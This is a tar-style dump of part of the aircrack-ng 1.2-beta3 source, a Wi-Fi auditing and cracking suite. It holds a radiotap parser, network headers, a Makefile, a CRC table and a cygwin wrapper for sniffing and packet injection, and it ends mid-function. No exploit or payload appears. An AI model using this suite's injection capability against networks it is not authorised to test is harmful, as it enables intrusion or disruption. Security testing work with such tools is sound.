frame failed FCS check */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADPLCP 0x0002 /* bad PLCP */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ /* For IEEE80211_RADIOTAP_AMPDU_STATUS */ #define IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN 0x0001 #define IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN 0x0002 #define IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN 0x0004 #define IEEE80211_RADIOTAP_AMPDU_IS_LAST 0x0008 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR 0x0010 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN 0x0020 /* For IEEE80211_RADIOTAP_MCS */ #define IEEE80211_RADIOTAP_MCS_HAVE_BW 0x01 #define IEEE80211_RADIOTAP_MCS_HAVE_MCS 0x02 #define IEEE80211_RADIOTAP_MCS_HAVE_GI 0x04 #define IEEE80211_RADIOTAP_MCS_HAVE_FMT 0x08 #define IEEE80211_RADIOTAP_MCS_HAVE_FEC 0x10 #define IEEE80211_RADIOTAP_MCS_HAVE_STBC 0x20 #define IEEE80211_RADIOTAP_MCS_HAVE_NESS 0x40 #define IEEE80211_RADIOTAP_MCS_NESS_BIT1 0x80 #define IEEE80211_RADIOTAP_MCS_BW_MASK 0x03 #define IEEE80211_RADIOTAP_MCS_BW_20 0 #define IEEE80211_RADIOTAP_MCS_BW_40 1 #define IEEE80211_RADIOTAP_MCS_BW_20L 2 #define IEEE80211_RADIOTAP_MCS_BW_20U 3 #define IEEE80211_RADIOTAP_MCS_SGI 0x04 #define IEEE80211_RADIOTAP_MCS_FMT_GF 0x08 #define IEEE80211_RADIOTAP_MCS_FEC_LDPC 0x10 #define IEEE80211_RADIOTAP_MCS_STBC_MASK 0x60 #define IEEE80211_RADIOTAP_MCS_STBC_SHIFT 5 #define IEEE80211_RADIOTAP_MCS_STBC_1 1 #define IEEE80211_RADIOTAP_MCS_STBC_2 2 #define IEEE80211_RADIOTAP_MCS_STBC_3 3 #define IEEE80211_RADIOTAP_MCS_NESS_BIT0 0x80 #endif /* IEEE80211_RADIOTAP_H */ aircrack-ng-1.2-beta3/src/osdep/radiotap/radiotap.c0000644000000000000000000003035412316143503020705 0ustar rootroot/* * Radiotap parser * * Copyright 2007 Andy Green * Copyright 2009 Johannes Berg * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See COPYING for more details. */ #include "radiotap_iter.h" #include "platform.h" #if defined(ANDROID) || defined(__ANDROID__) #include "../byteorder.h" #endif /* function prototypes and related defs are in radiotap_iter.h */ static const struct radiotap_align_size rtap_namespace_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, }, [IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, }, [IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, }, [IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, }, /* * add more here as they are defined in radiotap.h */ }; static const struct ieee80211_radiotap_namespace radiotap_ns = { .n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]), .align_size = rtap_namespace_sizes, }; /** * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization * @iterator: radiotap_iterator to initialize * @radiotap_header: radiotap header to parse * @max_length: total length we can parse into (eg, whole packet length) * * Returns: 0 or a negative error code if there is a problem. * * This function initializes an opaque iterator struct which can then * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap * argument which is present in the header. It knows about extended * present headers and handles them. * * How to use: * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * checking for a good 0 return code. Then loop calling * __ieee80211_radiotap_iterator_next()... it returns either 0, * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem. * The iterator's @this_arg member points to the start of the argument * associated with the current argument index that is present, which can be * found in the iterator's @this_arg_index member. This arg index corresponds * to the IEEE80211_RADIOTAP_... defines. * * Radiotap header length: * You can find the CPU-endian total radiotap header length in * iterator->max_length after executing ieee80211_radiotap_iterator_init() * successfully. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. * * Example code: parse.c */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns) { /* must at least have the radiotap header */ if (max_length < (int)sizeof(struct ieee80211_radiotap_header)) return -EINVAL; /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return -EINVAL; /* sanity check for allowed length and radiotap length field */ if (max_length < get_unaligned_le16(&radiotap_header->it_len)) return -EINVAL; iterator->_rtheader = radiotap_header; iterator->_max_length = get_unaligned_le16(&radiotap_header->it_len); iterator->_arg_index = 0; iterator->_bitmap_shifter = get_unaligned_le32(&radiotap_header->it_present); iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header); iterator->_reset_on_ext = 0; iterator->_next_bitmap = &radiotap_header->it_present; iterator->_next_bitmap++; iterator->_vns = vns; iterator->current_namespace = &radiotap_ns; iterator->is_radiotap_ns = 1; #ifdef RADIOTAP_SUPPORT_OVERRIDES iterator->n_overrides = 0; iterator->overrides = NULL; #endif /* find payload start allowing for extended bitmap(s) */ if (iterator->_bitmap_shifter & (1<_arg - (unsigned long)iterator->_rtheader + sizeof(uint32_t) > (unsigned long)iterator->_max_length) return -EINVAL; while (get_unaligned_le32(iterator->_arg) & (1 << IEEE80211_RADIOTAP_EXT)) { iterator->_arg += sizeof(uint32_t); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader + sizeof(uint32_t) > (unsigned long)iterator->_max_length) return -EINVAL; } iterator->_arg += sizeof(uint32_t); /* * no need to check again for blowing past stated radiotap * header length, because ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } iterator->this_arg = iterator->_arg; /* we are all initialized happily */ return 0; } static void find_ns(struct ieee80211_radiotap_iterator *iterator, uint32_t oui, uint8_t subns) { int i; iterator->current_namespace = NULL; if (!iterator->_vns) return; for (i = 0; i < iterator->_vns->n_ns; i++) { if (iterator->_vns->ns[i].oui != oui) continue; if (iterator->_vns->ns[i].subns != subns) continue; iterator->current_namespace = &iterator->_vns->ns[i]; break; } } #ifdef RADIOTAP_SUPPORT_OVERRIDES static int find_override(struct ieee80211_radiotap_iterator *iterator, int *align, int *size) { int i; if (!iterator->overrides) return 0; for (i = 0; i < iterator->n_overrides; i++) { if (iterator->_arg_index == iterator->overrides[i].field) { *align = iterator->overrides[i].align; *size = iterator->overrides[i].size; if (!*align) /* erroneous override */ return 0; return 1; } } return 0; } #endif /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: 0 if there is an argument to handle, * -ENOENT if there are no more args or -EINVAL * if there is something else wrong. * * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*) * in @this_arg_index and sets @this_arg to point to the * payload for the field. It takes care of alignment handling and extended * present fields. @this_arg can be changed by the caller (eg, * incremented to move inside a compound argument like * IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in * little-endian format whatever the endianess of your CPU. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator) { while (1) { int hit = 0; int pad, align, size, subns; uint32_t oui; /* if no more EXT bits, that's it */ if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT && !(iterator->_bitmap_shifter & 1)) return -ENOENT; if (!(iterator->_bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* get alignment/size of data */ switch (iterator->_arg_index % 32) { case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE: case IEEE80211_RADIOTAP_EXT: align = 1; size = 0; break; case IEEE80211_RADIOTAP_VENDOR_NAMESPACE: align = 2; size = 6; break; default: #ifdef RADIOTAP_SUPPORT_OVERRIDES if (find_override(iterator, &align, &size)) { /* all set */ } else #endif if (!iterator->current_namespace || iterator->_arg_index >= iterator->current_namespace->n_bits) { if (iterator->current_namespace == &radiotap_ns) return -ENOENT; align = 0; } else { align = iterator->current_namespace->align_size[iterator->_arg_index].align; size = iterator->current_namespace->align_size[iterator->_arg_index].size; } if (!align) { /* skip all subsequent data */ iterator->_arg = iterator->_next_ns_data; /* give up on this namespace */ iterator->current_namespace = NULL; goto next_entry; } break; } /* * arg is present, account for alignment padding * * Note that these alignments are relative to the start * of the radiotap header. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. * * The above is why get_unaligned() is used to dereference * multibyte elements from the radiotap area. */ pad = ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader) & (align - 1); if (pad) iterator->_arg += align - pad; if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) { int vnslen; if ((unsigned long)iterator->_arg + size - (unsigned long)iterator->_rtheader > (unsigned long)iterator->_max_length) return -EINVAL; oui = (*iterator->_arg << 16) | (*(iterator->_arg + 1) << 8) | *(iterator->_arg + 2); subns = *(iterator->_arg + 3); find_ns(iterator, oui, subns); vnslen = get_unaligned_le16(iterator->_arg + 4); iterator->_next_ns_data = iterator->_arg + size + vnslen; if (!iterator->current_namespace) size += vnslen; } /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->_arg_index; iterator->this_arg = iterator->_arg; iterator->this_arg_size = size; /* internally move on the size of this arg */ iterator->_arg += size; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader > (unsigned long)iterator->_max_length) return -EINVAL; /* these special ones are valid in each bitmap word */ switch (iterator->_arg_index % 32) { case IEEE80211_RADIOTAP_VENDOR_NAMESPACE: iterator->_reset_on_ext = 1; iterator->is_radiotap_ns = 0; /* * If parser didn't register this vendor * namespace with us, allow it to show it * as 'raw. Do do that, set argument index * to vendor namespace. */ iterator->this_arg_index = IEEE80211_RADIOTAP_VENDOR_NAMESPACE; if (!iterator->current_namespace) hit = 1; goto next_entry; case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE: iterator->_reset_on_ext = 1; iterator->current_namespace = &radiotap_ns; iterator->is_radiotap_ns = 1; goto next_entry; case IEEE80211_RADIOTAP_EXT: /* * bit 31 was set, there is more * -- move to next u32 bitmap */ iterator->_bitmap_shifter = get_unaligned_le32(iterator->_next_bitmap); iterator->_next_bitmap++; if (iterator->_reset_on_ext) iterator->_arg_index = 0; else iterator->_arg_index++; iterator->_reset_on_ext = 0; break; default: /* we've got a hit! */ hit = 1; next_entry: iterator->_bitmap_shifter >>= 1; iterator->_arg_index++; } /* if we found a valid arg earlier, return it now */ if (hit) return 0; } } aircrack-ng-1.2-beta3/src/osdep/network.h0000644000000000000000000000136711212332736017001 0ustar rootroot/*- * Copyright (c) 2007, 2008, Andrea Bittau * * Networking structures. * */ #ifndef __AIRCRACK_NG_OSDEP_NETWORK_H__ #define __AIRCRACK_NG_OSDEP_NETWORK_H__ #include #include #include "osdep.h" enum { NET_RC = 1, NET_GET_CHAN, NET_SET_CHAN, NET_WRITE, NET_PACKET, /* 5 */ NET_GET_MAC, NET_MAC, NET_GET_MONITOR, NET_GET_RATE, NET_SET_RATE, }; struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; extern struct wif *net_open(char *iface); extern int net_send(int s, int command, void *arg, int len); extern int net_read_exact(int s, void *arg, int len); extern int net_get(int s, void *arg, int *len); #endif /* __AIRCRACK_NG_OSEDEP_NETWORK_H__ */ aircrack-ng-1.2-beta3/src/osdep/Makefile0000644000000000000000000000347012313371023016567 0ustar rootrootAC_ROOT = ../.. include $(AC_ROOT)/common.mak RTAP = radiotap LIB = libosdep.a CFLAGS += $(PIC) -I.. $(LIBAIRPCAP) OBJS_COMMON = network.o file.o OBJS = osdep.o $(OBJS_COMMON) #AIRPCAP_DIR = airpcap OBJS_APCAP = airpcap.o OBJS_OBSD = $(OBJS) openbsd.o openbsd_tap.o OBJS_NBSD = $(OBJS) netbsd.o netbsd_tap.o OBJS_FBSD = $(OBJS) freebsd.o freebsd_tap.o OBJS_LINUX = $(OBJS) linux.o linux_tap.o radiotap/radiotap.o common.o OBJS_DUMMY = $(OBJS) dummy.o dummy_tap.o OBJS_CYGWIN = $(OBJS) cygwin.o cygwin_tap.o radiotap/radiotap.o OBJS_DARWIN = $(OBJS) darwin.o darwin_tap.o radiotap/radiotap.o # XXX make it a DLL, without polluting cygwin.c ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true) OBJS_CYGWIN += $(OBJS_APCAP) DOPCAP = $(AR) x $(AC_ROOT)/../developers/Airpcap_Devpack/lib/libairpcap.a else DOPCAP = endif all: @echo Building for $(OSNAME) @$(MAKE) .os.$(OSNAME) .os.dummy: $(OBJS_DUMMY) $(AR) cru $(LIB) $(OBJS_DUMMY) $(RANLIB) $(LIB) touch $(@) .os.FreeBSD: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.GNU-kFreeBSD: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.OpenBSD: $(OBJS_OBSD) $(AR) cru $(LIB) $(OBJS_OBSD) $(RANLIB) $(LIB) touch $(@) .os.NetBSD: $(OBJS_NBSD) $(AR) cru $(LIB) $(OBJS_NBSD) $(RANLIB) $(LIB) touch $(@) .os.Linux: $(OBJS_LINUX) $(AR) cru $(LIB) $(OBJS_LINUX) $(RANLIB) $(LIB) touch $(@) .os.cygwin: $(OBJS_CYGWIN) $(DOPCAP) $(AR) cru $(LIB) *.o radiotap/radiotap.o $(RANLIB) $(LIB) touch $(@) .os.Darwin: $(OBJS_DARWIN) $(DOPCAP) $(AR) cru $(LIB) $(OBJS_DARWIN) $(RANLIB) $(LIB) touch $(@) .os.%: .os.dummy @echo "Your platform is unsupported by osdep, dummy code compiled." touch $(@) install: all uninstall: clean: $(MAKE) -C $(RTAP) clean rm -f $(LIB) *.o .os.* aircrack-ng-1.2-beta3/src/osdep/crctable_osdep.h0000644000000000000000000000640510761053203020254 0ustar rootroot#ifndef _CRCTABLE_OSDEP_H #define _CRCTABLE_OSDEP_H const unsigned long int crc_tbl_osdep[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; #endif /* crctable_osdep.h */ aircrack-ng-1.2-beta3/src/osdep/cygwin.c0000644000000000000000000002631311463545056016612 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #include "cygwin.h" #ifdef HAVE_AIRPCAP #include "airpcap.h" #endif #define xstr(s) str(s) #define str(s) #s #define DLL_EXTENSION ".dll" struct priv_cygwin { pthread_t pc_reader; volatile int pc_running; int pc_pipe[2]; /* reader -> parent */ int pc_channel; struct wif *pc_wi; int pc_did_init; int isAirpcap; int useDll; int (*pc_init)(char *param); int (*pc_set_chan)(int chan); int (*pc_inject)(void *buf, int len, struct tx_info *ti); int (*pc_sniff)(void *buf, int len, struct rx_info *ri); int (*pc_get_mac)(void *mac); int (*pc_set_mac)(void *mac); void (*pc_close)(void); }; /** * strstr() function case insensitive * @param String C string to be scanned * @param Pattern C string containing the sequence of characters to match * @return Pointer to the first occurrence of Pattern in String, or a null pointer if there Pattern is not part of String. */ char *stristr(const char *String, const char *Pattern) { char *pptr, *sptr, *start; uint slen, plen; for (start = (char *)String, pptr = (char *)Pattern, slen = strlen(String), plen = strlen(Pattern); /* while string length not shorter than pattern length */ slen >= plen; start++, slen--) { /* find start of pattern in string */ while (toupper((int)*start) != toupper((int)*Pattern)) { start++; slen--; /* if pattern longer than string */ if (slen < plen) return(NULL); } sptr = start; pptr = (char *)Pattern; while (toupper((int)*sptr) == toupper((int)*pptr)) { sptr++; pptr++; /* if end of pattern then pattern was found */ if ('\0' == *pptr) return (start); } } return(NULL); } /** * Get the different functions for to interact with the device: * - setting monitor mode * - changing channel * - capturing data * - injecting packets * @param iface The interface name */ static int do_cygwin_open(struct wif *wi, char *iface) { struct priv_cygwin *priv = wi_priv(wi); void *lib; char *file; char *parm; int rc = -1; int tempret = 0; if (!iface) return -1; if (strlen(iface) == 0) return -1; priv->useDll = 0; if (stristr(iface, DLL_EXTENSION)) priv->useDll = 1; if (priv->useDll) { file = strdup(iface); if (!file) return -1; parm = strchr(file, '|'); if (parm) *parm++ = 0; /* load lib */ lib = dlopen(file, RTLD_LAZY); if (!lib) goto errdll; priv->pc_init = dlsym(lib, xstr(CYGWIN_DLL_INIT)); priv->pc_set_chan = dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN)); priv->pc_get_mac = dlsym(lib, xstr(CYGWIN_DLL_GET_MAC)); priv->pc_set_mac = dlsym(lib, xstr(CYGWIN_DLL_SET_MAC)); priv->pc_close = dlsym(lib, xstr(CYGWIN_DLL_CLOSE)); priv->pc_inject = dlsym(lib, xstr(CYGWIN_DLL_INJECT)); priv->pc_sniff = dlsym(lib, xstr(CYGWIN_DLL_SNIFF)); if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac && priv->pc_inject && priv->pc_sniff && priv->pc_close)) goto errdll; /* init lib */ if ((rc = priv->pc_init(parm))) goto errdll; priv->pc_did_init = 1; rc = 0; errdll: free(file); } else { #ifdef HAVE_AIRPCAP // Check if it's an Airpcap device priv->isAirpcap = isAirpcapDevice(iface); if (priv->isAirpcap) { // Get functions priv->pc_init = airpcap_init; priv->pc_set_chan = airpcap_set_chan; priv->pc_get_mac = airpcap_get_mac; priv->pc_set_mac = airpcap_set_mac; priv->pc_close = airpcap_close; priv->pc_inject = airpcap_inject; priv->pc_sniff = airpcap_sniff; rc = 0; } #endif } if (rc == 0) { // Don't forget to initialize if (! priv->useDll) { rc = priv->pc_init(iface); if (rc == 0) priv->pc_did_init = 1; else fprintf(stderr,"Error initializing <%s>\n", iface); } if (priv->pc_did_init) { /* set initial chan */ tempret = wi_set_channel(wi, 1); if (tempret) rc = tempret; } } else { // Show an error message if the adapter is not supported fprintf(stderr, "Adapter <%s> not supported\n", iface); } return rc; } /** * Change channel * @param chan Channel * @return 0 if successful, -1 if it failed */ static int cygwin_set_channel(struct wif *wi, int chan) { struct priv_cygwin *priv = wi_priv(wi); if (priv->pc_set_chan(chan) == -1) return -1; priv->pc_channel = chan; return 0; } /** * Capture a packet * @param buf Buffer for the packet (has to be already allocated) * @param len Length of the buffer * @param ri Receive information structure * @return -1 in case of failure or the number of bytes received */ static int cygwin_read_packet(struct priv_cygwin *priv, void *buf, int len, struct rx_info *ri) { int rd; memset(ri, 0, sizeof(*ri)); rd = priv->pc_sniff(buf, len, ri); if (rd == -1) return -1; if (!ri->ri_channel) ri->ri_channel = wi_get_channel(priv->pc_wi); return rd; } /** * Send a packet * @param h80211 The packet itself * @param len Length of the packet * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ static int cygwin_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_cygwin *priv = wi_priv(wi); int rc; if ((rc = priv->pc_inject(h80211, len, ti)) == -1) return -1; return rc; } /** * Get device channel * @return channel */ static int cygwin_get_channel(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_channel; } int cygwin_read_reader(int fd, int plen, void *dst, int len) { /* packet */ if (len > plen) len = plen; if (net_read_exact(fd, dst, len) == -1) return -1; plen -= len; /* consume packet */ while (plen) { char lame[1024]; int rd = sizeof(lame); if (rd > plen) rd = plen; if (net_read_exact(fd, lame, rd) == -1) return -1; plen -= rd; assert(plen >= 0); } return len; } static int cygwin_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_cygwin *pc = wi_priv(wi); struct rx_info tmp; int plen; if (pc->pc_running == -1) return -1; if (!ri) ri = &tmp; /* length */ if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1) return -1; /* ri */ if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1) return -1; plen -= sizeof(*ri); assert(plen > 0); return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len); } /** * Free allocated data */ static void do_free(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); int tries = 3; /* wait for reader */ if (pc->pc_running == 1) { pc->pc_running = 0; while ((pc->pc_running != -1) && tries--) sleep(1); } if (pc->pc_pipe[0]) { close(pc->pc_pipe[0]); close(pc->pc_pipe[1]); } if (pc->pc_did_init) pc->pc_close(); assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } /** * Close the device and free data */ static void cygwin_close(struct wif *wi) { do_free(wi); } /** * Get the file descriptor for the device */ static int cygwin_fd(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); if (pc->pc_running == -1) return -1; return pc->pc_pipe[0]; } /** * Get MAC Address of the device * @param mac It will contain the mac address * @return 0 if successful */ static int cygwin_get_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_get_mac(mac); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 if successful */ static int cygwin_set_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_set_mac(mac); } static int cygwin_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ return 0; } static int cygwin_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ return 1000000; } /** * Set (injection) rate of the device * @param rate Rate to be used * @return 0 (successful) */ static int cygwin_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ return 0; } static void *cygwin_reader(void *arg) { struct priv_cygwin *priv = arg; unsigned char buf[2048]; int len; struct rx_info ri; while (priv->pc_running) { /* read one packet */ len = cygwin_read_packet(priv, buf, sizeof(buf), &ri); if (len == -1) break; /* len */ len += sizeof(ri); if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; len -= sizeof(ri); /* ri */ if 